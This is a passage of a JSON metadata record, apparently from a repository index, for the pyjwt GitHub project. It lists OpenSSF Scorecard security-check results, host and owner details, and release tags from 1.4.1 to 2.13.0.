to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg: